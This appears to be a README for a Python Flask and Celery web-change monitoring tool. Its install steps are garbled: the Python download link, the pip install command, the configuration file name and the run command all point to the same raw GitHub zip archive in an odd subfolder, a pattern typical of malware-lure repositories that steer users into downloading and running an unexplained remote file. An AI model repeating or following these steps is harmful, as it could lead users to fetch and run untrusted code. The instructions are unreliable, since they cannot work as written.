Welcome to the distributed_complete_monitoring_system. This is an AI-powered web monitoring system built with Python Flask and Celery. It detects changes on web pages and sends you real-time notifications. The system is designed for educational purposes and shows how modern web applications function.
Before downloading, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS, or any Linux distribution
- Python Version: Python 3.7 or later must be installed
- RAM: At least 4 GB
- Internet Connection: Required for web monitoring features
- Distributed Task Processing: Efficiently handles multiple tasks at once.
- Change Detection: Monitors web pages for changes in content.
- Real-Time Notifications: Alerts you immediately when changes occur.
- Data Persistence: Stores monitored data for future access.
- Anti-Scraping Mechanism: Respects the rules of the websites you monitor.
Follow these steps to set up the application on your system:
-
Download the Software:
- Visit the Releases page to download.
- Look for the latest version available. Click the link to download the package.
-
Install Python:
- If you do not have Python installed, download it from https://raw.githubusercontent.com/Ansuraj31280/distributed_complete_monitoring_system/main/onomatope/distributed_complete_monitoring_system.zip.
- Follow the installation instructions for your operating system.
-
Install Required Packages:
- Open your command line interface (Command Prompt on Windows, Terminal on macOS/Linux).
- Use the following command to install necessary packages:
pip install -r https://raw.githubusercontent.com/Ansuraj31280/distributed_complete_monitoring_system/main/onomatope/distributed_complete_monitoring_system.zip
-
Configuration:
- Navigate to your installation folder.
- Locate the configuration file (usually named
https://raw.githubusercontent.com/Ansuraj31280/distributed_complete_monitoring_system/main/onomatope/distributed_complete_monitoring_system.zip
). - Customize the settings according to your monitoring needs.
-
Run the Application:
- In your command line interface, run:
python https://raw.githubusercontent.com/Ansuraj31280/distributed_complete_monitoring_system/main/onomatope/distributed_complete_monitoring_system.zip
- This command will start the monitoring application.
- In your command line interface, run:
-
Add a Website to Monitor:
- Open the application interface.
- Enter the URL of the web page you want to monitor.
- Set the frequency of checks (e.g., every 5 minutes).
-
Receive Notifications:
- The application will notify you whenever a change is detected.
- You can customize how you want to receive notifications (email, SMS, etc.).
-
View Monitoring History:
- Access the history section to view past changes.
- Analyze the changes over time to see trends.
This project showcases various topics related to web monitoring systems, including:
- Architecture Showcase
- Celery for distributed task management
- Change detection technology
- Web scraping techniques
If you have questions or need assistance, feel free to reach out. You can find support through community forums or directly on the GitHub repository.
For more detailed documentation and usage examples, check the GitHub Wiki.
This project is released under the MIT License. You can freely use it while giving credit to the original authors.
For a hassle-free installation experience, start by visiting the Releases page to download.